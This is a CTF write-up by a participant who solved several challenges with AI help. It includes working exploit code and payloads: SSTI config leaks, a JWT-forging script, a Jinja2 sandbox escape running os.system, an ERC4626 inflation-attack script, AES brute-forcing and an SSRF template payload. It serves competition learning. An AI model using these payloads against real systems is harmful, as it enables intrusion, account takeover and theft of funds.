C2C2026 CTF Qualification
Mufat - Mufid Fata Rifki
Welcome - Misc
i mean, do i have to explain it

Tattletale - Forensic
AI Usage: Claude Sonnet 4.5
first thing first analyze the files.

based on what i get is, i need to ‘open’ the .enc file, with a credential that i found, first thing first i tried to decompyle the files. i use pyinstxtractor and pycdc.

this decompile code is a keylogger it reads from /dev/input/event0 which is keyboard input device, and writes to cron.aseng.
and than i asked the AI to help me make a script to extract the keylogger
import struct
import sys
LOG_FILE = "cron.aseng"
# Maps code -> character
KEY_MAP = {
2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
12: '-', 13: '=', 14: '[BACKSPACE]', 15: '[TAB]',
16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p',
26: '[', 27: ']', 28: '[ENTER]', 29: '[L_CTRL]',
30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l',
39: ';', 40: "'", 41: '`', 42: '[L_SHIFT]', 43: '\\',
44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm',
51: ',', 52: '.', 53: '/', 57: '[SPACE]',
}
def parse_keystrokes():
if not os.path.exists(LOG_FILE):
print(f"[-] File {LOG_FILE} not found.")
return
print(f"[+] Parsing {LOG_FILE}...")
recovered_text = ""
with open(LOG_FILE, 'rb') as f:
while True:
# Read standard input_event size (24 bytes on 64-bit)
# Format: long(8), long(8), short(2), short(2), int(4)
data = f.read(24)
if len(data) < 24:
break
# Unpack: time_sec, time_usec, type, code, value
_, _, type_, code, value = struct.unpack('QQHHi', data)
# EV_KEY is type 1.
# value 1 = Press, 0 = Release.
if type_ == 1 and value == 1:
if code in KEY_MAP:
char = KEY_MAP[code]
if len(char) > 1:
print(f" {char} ", end='')
else:
print(char, end='')
recovered_text += char
print("\n\n[+] Done.")
if __name__ == "__main__":
import os
parse_keystrokes()

with that script, i manage to get the keylog
the password from the keylogger
4_g00d_fr13nD_in_n33D
and then i use openssl to open the .enc file, and then parse it
openssl enc -d -aes-256-cbc -salt -pass 'pass:4_g00d_fr13nD_in_n33D' -in whatisthis.enc -out whatisthis.od
and for the final solver, i asked AI based on the previous finding which is the whatisthis.od file
#!/usr/bin/env python3
def parse_od_output(filename):
"""Parse od format output and recover original bytes"""
result = []
with open(filename, 'r') as f:
for line in f:
line = line.strip()
if not line:
continue
# Split the line into parts
parts = line.split()
if not parts:
continue
# Remaining parts are octal values
for octal_word in parts[1:]:
try:
# Convert octal string to integer
value = int(octal_word, 8)
# Split into two bytes (little-endian)
byte1 = value & 0xFF
byte2 = (value >> 8) & 0xFF
result.append(byte1)
result.append(byte2)
except ValueError:
continue
return bytes(result)
# Parse the od output
data = parse_od_output('whatisthis.od')
# Convert to text
text = data.decode('utf-8', errors='ignore')
print("[+] Recovered environment variables:")
print("="*60)
print(text)
print("="*60)
# Search for flags
print("\n[+] Searching for flags...")
for line in text.split('\n'):
if 'c2c{' in line.lower() or 'flag' in line.lower() or 'CTF{' in line:
print(f" → {line}")
after running it, i got the flag

Corp-mail - Web
AI Usage: Gemini 3
first thing first make an account, and then check the attachments, read and analyze some of the source code, and after analyzing. i found that it’s probably a jwt challenge, but in /settings there’s a signature form that can be exploit by implementing SSTI

and i tried {app.config}
and then i got a full detail config

and use the leaked jwt secret to forge a token to be an admin with the following script from AI
import jwt
import datetime
# JWT Secret that got leaked
SECRET = 'bdca3a36e5b139dff3188203a38d3076443d99759668d87458c4d5c760913fc1'
# We set the expiration 24 hours in the future to avoid timezone issues
expiration = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
# We impersonate the Admin (ID 1) directly.
payload = {
'user_id': 1, # Standard ID for the first admin user
'username': 'admin', # Standard username
'is_admin': True, # Grant admin privileges
'exp': expiration
}
# Generate Token
token = jwt.encode(payload, SECRET, algorithm='HS256')
print("\n[+] COPY THIS TOKEN:")
print(token)
python3 solve.py /home/pxilg/Documents/competition/c2c2026/corp-mail/solve.py:9: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). expiration = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
[+] COPY THIS TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOnRydWUsImV4cCI6MTc3MTE0MDMwOH0.gQd0g6j8kSJwQPCm6xeAHPtZPL5myhkrdukLM0-fUUI
after i use the token, i cant go to other path, only the setting path, and then after a long confusion. in user.py it coded that if we are logged in as an admin it redirect to admin.view_email
@bp.route('/email/<int:email_id>')
def view_email(email_id):
if g.user.get('is_admin'):
return redirect(url_for('admin.view_email', email_id=email_id))
after that i change the script to is_admin: False, and then i manage to get the flag

Log - Forensic
AI Usage: GPT 5.2
based on these 2 file i mostly use the access.log one
-
victim ip address was easily found because the attacker was trying to penetrate a wordpress site owned by the victim with an ip of 182.8.97.244
-
for the attacker’s ip i can see that 219.75.27.16 was trying to SQLI the wordpress
-
i filter POST wp-login and found 8 result, but after more detail search, it seems there are 5 attempt before successful login
-
easily seen by a naked eyes, just filter plugin, and i found it, even though i tried to submit easy-quotes rather than Easy Quotes
-
just google the plugin cve

-
as i know that this was a sqli, i filtered ‘sql’ and got the tool and version
-
for the gmail, it was confusing at first but i tried to use grep
grep "user_email" access.log | grep "MID", but in the log you can see that the sqlmap testing the ASCII values from each position (log), and by converting it i got the email -
same as before but i use
"user_pass" -
first successful wordpress login, which is POST/wp-login.php and a redirect
in this challenge, i use the ai mostly for the question 7 and 8 because it was encoded, i asked the ai to analyze the log files. and help me to find the answer for 7 and 8, with a lot of retry finally got the answer specially the 8th one, because it was quite confusing

Tge - Blockchain
AI Usage: Gemini 3
after exporting all the credential, i checked the balance, setup balance, etc. for identifying the exploit, after recon and enumeration, i found that this blockchain challenge is to upgrade the tier to tier 3, because blockchain is new to me, so i basically just inform the AI what i have, and i asked it to brief what are we going to solve. and i got this 1 paste terminal command
export RPC_URL="http://challenges.1pc.tf:50452/7cae909d-748a-4d20-addc-5348417abfbc"
export PRIVKEY="2007a81fc7636d9162606be81576c96fda7c9c846f23cf56fb63ad40dda0261c"
export SETUP_CONTRACT_ADDR="0x244644a6fE2a5608Aba3f19342E481390b92CfcF"
# Find address
export TGE_ADDR=$(cast call $SETUP_CONTRACT_ADDR "tge()(address)" --rpc-url $RPC_URL)
# Exploit
# 1. Trigger the Snapshot (Corrected: Asking Setup to do it)
cast send $SETUP_CONTRACT_ADDR "enableTge(bool)" false --rpc-url $RPC_URL --private-key $PRIVKEY
# 2. Re-Open the Event (Corrected: Asking Setup to do it)
cast send $SETUP_CONTRACT_ADDR "enableTge(bool)" true --rpc-url $RPC_URL --private-key $PRIVKEY
# 3. Upgrade to Tier 2
# The logic: Balance (1) > Snapshot (0). Success!
cast send $TGE_ADDR "upgrade(uint256)" 2 --rpc-url $RPC_URL --private-key $PRIVKEY
# 4. Upgrade to Tier 3
# The logic: Balance (1) > Snapshot (0). Success!
cast send $TGE_ADDR "upgrade(uint256)" 3 --rpc-url $RPC_URL --private-key $PRIVKEY
# 5. Final check
echo "Is Solved? (Should be 1)"
cast call $SETUP_CONTRACT_ADDR "isSolved()(bool)" --rpc-url $RPC_URL

from the bash script line, i successfully got the 3rd upgrade, and check on the rpc_url to retrieve the flag

Jinjail - Misc
AI Usage: Claude Sonnet 4.5
after downloading the zip and unzip all the files. i analyze what kind of exploit am i going to face, i analyze the files, mostly the app.py, i tried recon using Fenjing. an SSTI cracker for Jinja2
after all the analyze, in conclusion that this chall has WAF with strict filtering, a Jinja2 sanbox environment with numpy in it, a setuid binary /fix that reads the flag, and a flag located in /root/flag.txt
so the goal is to execute /fix help to retrieve the flag from /root/flag.txt
firstly i tried the simple recon, after a lot of trying i found that this is mostly a numpy exploit



based on these information this confirms that i can access numpy and its attributes
def waf(content):
allowlist = set(string.ascii_lowercase + string.ascii_uppercase + string.punctuation + string.digits + ' ')
blocklist = ['fromfile', 'savetxt', 'load', 'array', 'packbits', 'ctypes', 'eval', 'exec', 'breakpoint', 'input', '+', '-', '/', '\\', '|', '"', "'"]
char_limits = {
'(': 3,
')': 3,
'[': 3,
']': 3,
'{': 3,
'}': 3,
',': 10
}
because all of these limitation from the WAF, its hard to find the right payload
and finally after a lot of tries, i prompt the AI of my findings, and what is the concept of the challenge, and finally got the final payload which use ASCII value
{{numpy.core.records.os.system(numpy.uint8([47,102,105,120,32,104,101,108,112]).tobytes())}}
this payload accesses numpy.core.records.os.system, and then creates the numpy array which is a strings of /fix help, and then converts it to bytes. and lastly execute to get the flag

Convergence - Blockchain
AI Usage: Gemini 3
as usual im not familiar with blockchain so i do need an AI, after export all the credential, i checked the attachments which is setup.sol and Challenge.sol. and asked AI to analyze what am i going to solve, and what type of blockchain challenge is this
the logic are:
Setup.bindPact validates that each individual SoulFragment has essence ≤ 100 ether
Challenge.transcend required that the total sum of essence across all fragments is ≥ 1000 ether
so all i need is to get the total essence of at least 1000 ether
after all the analyze and prompting, i finally got this script
import os
from web3 import Web3
from eth_abi import encode
# 1. Config & Setup
rpc_url = os.getenv("RPC_URL")
private_key = os.getenv("PRIVKEY")
setup_addr = os.getenv("SETUP_CONTRACT_ADDR")
my_addr = os.getenv("WALLET_ADDR")
if not all([rpc_url, private_key, setup_addr, my_addr]):
print("[-] Missing environment variables.")
exit(1)
w3 = Web3(Web3.HTTPProvider(rpc_url))
print(f"[+] Connected to RPC: {w3.is_connected()}")
# 2. Minimal ABIs
setup_abi = [
{"inputs": [], "name": "challenge", "outputs": [{"internalType": "contract Challenge", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
{"inputs": [{"internalType": "bytes", "name": "agreement", "type": "bytes"}], "name": "bindPact", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}
]
challenge_abi = [
{"inputs": [], "name": "registerSeeker", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [{"internalType": "bytes", "name": "truth", "type": "bytes"}], "name": "transcend", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [], "name": "ascended", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}
]
# 3. Helpers
def send_tx(func_call):
tx = func_call.build_transaction({
'from': my_addr,
'nonce': w3.eth.get_transaction_count(my_addr),
'gas': 500000,
'gasPrice': int(w3.eth.gas_price * 1.2)
})
signed = w3.eth.account.sign_transaction(tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f"[>] Sent tx: {tx_hash.hex()}")
w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"[+] Confirmed.")
# 4. Execution
setup = w3.eth.contract(address=setup_addr, abi=setup_abi)
# Get Challenge Address
challenge_addr = setup.functions.challenge().call()
print(f"[*] Challenge Contract: {challenge_addr}")
challenge = w3.eth.contract(address=challenge_addr, abi=challenge_abi)
# Register (if needed)
print("[*] Registering Seeker...")
try:
send_tx(challenge.functions.registerSeeker())
except Exception as e:
print(f"[-] Likely already registered: {e}")
# Craft Payload
# Struct: (address vessel, uint256 essence, bytes resonance)
print("[*] Crafting Pact...")
fragment_essence = w3.to_wei(100, 'ether')
target_essence = w3.to_wei(1000, 'ether')
num_fragments = target_essence // fragment_essence
fragments = []
for _ in range(num_fragments):
fragments.append((my_addr, fragment_essence, b''))
# Encode the inner data
# Types matching: (SoulFragment[], bytes32, uint32, address, address)
payload_types = ['(address,uint256,bytes)[]', 'bytes32', 'uint32', 'address', 'address']
payload_values = [
fragments,
b'\x00' * 32, # arbitrary bytes32
0, # arbitrary uint32
my_addr,
my_addr
]
encoded_agreement = encode(payload_types, payload_values)
# Step A: Bind Pact (Chronicle it)
print("[*] Binding Pact (Setup)...")
send_tx(setup.functions.bindPact(encoded_agreement))
# Step B: Transcend (Exploit it)
print("[*] Transcending (Challenge)...")
send_tx(challenge.functions.transcend(encoded_agreement))
# Verify
if setup.functions.isSolved().call():
print("[!!!] Challenge Solved! You have ascended.")
else:
print("[-] Not solved yet. Check contract state.")
and then get the flag C2C{the_convergence_chall_is_basically_bibibibi}
Nexus - Blockchain
AI Usage: Gemini 3
export all the credentials. and firstly i analyze the 3 attachments, and asked AI what type of blockchain chall is this. based on the analyze this is a ERC4626 “First Depositor” or “Inflation” Attack, where manipulating the exchange rate, allow me to steal some of the deposits
first it start with 10.000 ether, what i need is to double the funds, so the goal is basically “steal” the other ether
after a lot of analyze and asking AI,i prompt to make the solver and i manage to get this script
from web3 import Web3
import time
# Configuration
RPC_URL = "http://challenges.1pc.tf:50064/8431bacf-3f1b-4a0b-a341-b1bea043c0f1"
PRIVKEY = "6d60b9278b154ff877cf6c55ec4de8d06dc9c0fe1e26c038df05d1a1f578b241"
SETUP_ADDR = "0xbfe7AB1a3Ee170D2c2ACb20a4253fF6e881b2790"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)
me = account.address
print(f"Connected: {w3.is_connected()}")
print(f"Attacker: {me}")
# ABI Helpers
# Minimal ABIs to interact with the contracts
setup_abi = [
{"inputs": [], "name": "conductRituals", "outputs": [], "stateMutability": "external", "type": "function"},
{"inputs": [], "name": "essence", "outputs": [{"internalType": "contract Essence", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
{"inputs": [], "name": "nexus", "outputs": [{"internalType": "contract CrystalNexus", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
{"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}
]
essence_abi = [
{"inputs": [{"internalType": "address", "name": "spender", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "approve", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "external", "type": "function"},
{"inputs": [{"internalType": "address", "name": "to", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "transfer", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "external", "type": "function"},
{"inputs": [{"internalType": "address", "name": "", "type": "address"}], "name": "balanceOf", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}
]
nexus_abi = [
{"inputs": [{"internalType": "uint256", "name": "essenceAmount", "type": "uint256"}], "name": "attune", "outputs": [{"internalType": "uint256", "name": "crystals", "type": "uint256"}], "stateMutability": "external", "type": "function"},
{"inputs": [{"internalType": "uint256", "name": "crystalAmount", "type": "uint256"}, {"internalType": "address", "name": "recipient", "type": "address"}], "name": "dissolve", "outputs": [{"internalType": "uint256", "name": "essenceOut", "type": "uint256"}], "stateMutability": "external", "type": "function"},
{"inputs": [{"internalType": "address", "name": "", "type": "address"}], "name": "crystalBalance", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}
]
# Contract Objects
setup = w3.eth.contract(address=SETUP_ADDR, abi=setup_abi)
print("Fetching contract addresses...")
essence_addr = setup.functions.essence().call()
nexus_addr = setup.functions.nexus().call()
print(f"Essence: {essence_addr}")
print(f"Nexus: {nexus_addr}")
essence = w3.eth.contract(address=essence_addr, abi=essence_abi)
nexus = w3.eth.contract(address=nexus_addr, abi=nexus_abi)
# Helper Function for Tx
def send_tx(func):
tx = func.build_transaction({
'from': me,
'nonce': w3.eth.get_transaction_count(me),
'gas': 500000,
'gasPrice': w3.eth.gas_price
})
signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Sent {func.fn_name}: {tx_hash.hex()}")
w3.eth.wait_for_transaction_receipt(tx_hash)
# Attack Sequence
# 1. Approve Nexus to spend our Essence
send_tx(essence.functions.approve(nexus_addr, 2**256 - 1))
# 2. Attune 1 wei to get 1 crystal (100% ownership initially)
# Cost: 1 wei
send_tx(nexus.functions.attune(1))
# 3. Donate Essence to inflate price per crystal
# We need Donation > 6000 to ensure Setup's 6000 deposit gets 0 crystals.
# 6001 ether ensures: 6000 * 1 / 6002 = 0.
donation_amount = w3.to_wei(6001, 'ether')
send_tx(essence.functions.transfer(nexus_addr, donation_amount))
# 4. Trigger Setup Rituals
# Setup deposits 15,000 ESS but gets 0 crystals due to our inflation.
send_tx(setup.functions.conductRituals())
# 5. Dissolve our 1 crystal
# We own 100% of the pool (Donation + Setup's Deposit).
# We pay ~22% friction but gain Setup's 15,000 ESS.
my_crystals = nexus.functions.crystalBalance(me).call()
print(f"My Crystals: {my_crystals}")
send_tx(nexus.functions.dissolve(my_crystals, me))
# Verification
final_balance = essence.functions.balanceOf(me).call()
print(f"Final Essence Balance: {w3.from_wei(final_balance, 'ether')} ETH")
is_solved = setup.functions.isSolved().call()
print(f"Challenge Solved: {is_solved}")
and voila i got the flag

Bunaken - Reverse
AI Usage: Gemini 3
firstly i check the attachments, got 1 executable file and 1 encrypted flag.txt.
and then i tried to use ghidra but there is too much going on, and then i use simple strings and grep to recon and find something. first i tried grep a flag, to find some logic behind this program

and i narrow it down by grepping flag.txt, and got this script, this code using a custom strings array n and a decryption function c to hide strings at runtime

so the goal here is to get a pass to decrypt the flag.txtbunakencrypt, to get the password i use js, but cant seem to get a full strings su[ô^\ôO¹, but the first few strings is ‘su’, and from there i asked AI to generate me a pass start with ‘su’ and some password related to bunaken. after a lot of tries, i got the right pass which is “sulawesi”
bunaken
bunakenisland
bunakennationalpark
tamanlautbunaken
manado
manadotua
siladen
liangk
sulawesi
sulawesiutara
sulawesi_utara
northsulawesi
indonesia
diving
scuba
coral
reef
bunaken123
bunaken2024
bunaken2025
bunaken2026
admin
root
password
subtle
success
superadmin
bun4k3n
m4n4d0
sulawesidiving
underwater
celebes
wakatobi
rajaampat
derawan
sea
ocean
pacific
buntastic
javascript
bunruntime
libuv
sha256
aes128
flag
ctf
lock
key
enkripsi
dekripsi
By using the generated password, i asked the ai to make me a script to bf the encrypted flag, and got this script
import base64
import hashlib
import sys
import os
from Crypto.Cipher import AES
# Configuration
ENCRYPTED_FILE = "flag.txt.bunakencrypted"
WORDLIST_FILE = "candidate.txt"
KNOWN_FLAG_HEADERS = [b"C2C{"]
def decrypt_scan(ciphertext, password):
try:
# 1. Malware Logic: Key is first 16 bytes of SHA-256 hash
key = hashlib.sha256(password.encode('utf-8')).digest()[:16]
# 2. Extract IV and Data
iv = ciphertext[:16]
enc_data = ciphertext[16:]
# 3. Decrypt (AES-CBC)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(enc_data)
# 4. "Dirty" Check (Bypass Padding Validation)
# We don't use unpad() because the challenge file has corrupted padding.
# Instead, we look for known flag headers inside the raw bytes.
for header in KNOWN_FLAG_HEADERS:
if header in plaintext:
# Clean up the output
try:
clean_text = plaintext.decode('utf-8', errors='ignore')
return clean_text
except:
return str(plaintext)
return None
except Exception:
return None
def main():
print(f"[*] Reading Encrypted File: {ENCRYPTED_FILE}")
if not os.path.exists(ENCRYPTED_FILE):
print("[-] File not found.")
return
# Read & Decode Base64/Hex/Raw
with open(ENCRYPTED_FILE, 'r') as f:
content = f.read().strip()
try:
raw_ciphertext = base64.b64decode(content)
except:
try:
raw_ciphertext = bytes.fromhex(content)
except:
with open(ENCRYPTED_FILE, 'rb') as f:
raw_ciphertext = f.read()
# Read Wordlist
print(f"[*] Reading Wordlist: {WORDLIST_FILE}")
if not os.path.exists(WORDLIST_FILE):
print("[-] Wordlist not found.")
return
with open(WORDLIST_FILE, 'r', encoding='utf-8', errors='ignore') as f:
passwords = [line.strip() for line in f if line.strip()]
print(f"[*] Starting attack with {len(passwords)} candidates...")
print("-" * 50)
for i, pwd in enumerate(passwords):
flag = decrypt_scan(raw_ciphertext, pwd)
if flag:
print(f"\n[+] PASSWORD FOUND: {pwd}")
print(f"[+] RAW OUTPUT:\n{flag}")
print("-" * 50)
# We found it, stop the loop
sys.exit(0)
print("\n[-] Password not found in list.")
if __name__ == "__main__":
main()

The Soldier of God Rick - Web
AI Usage: Gemini 3
First thing first check and analyze the executable file, and based on the description, they put helper Tools, without a doubt i use that embed_extractor, and after extracting it, i got the secret key which used for the website

at first i tried inputting random into the battle roar

and i got this output, and i was thinking, this might be an SSTI exploitation, and firstly i used {{ . }} because this means to print the current context object

and the output is different from the previous one and i tried :
{{ Rick }}= "{Rick, Soldier of God 999999 999999 Invincible}”
{{ .Rick.Scout “test” }}= You screamed: "Scout failed: Get "test": unsupported protocol scheme ""”
and by using the scout method, now i know that i can attack the endpoint by attacking itself from 127.0.0.1
with this payload {{ .Rick.Scout “http://127.0.0.1:8080/internal/offer-runes?amount=999999” }} i got You screamed: "Runes accepted. Seal shattered (Value: 999999 -> 999999). Rick Status: Invincible”
After the first recon which is {{ . }} , i asked the ai to help me recon more. and after using the final recon, i sent the output and prompt “based on this output what could you tell and analyze it”, and it gave me the final payload
once the internal state was updated to 999999 runes, i finally go the final payload which is
{{ printf "%#v" . }} this payload utilizes Go’s internal to perform a full object reflection this revealed the secret field, which had been populated with the flag

I hope you like this writeup post, sorry if the writeup is not that tidy and neat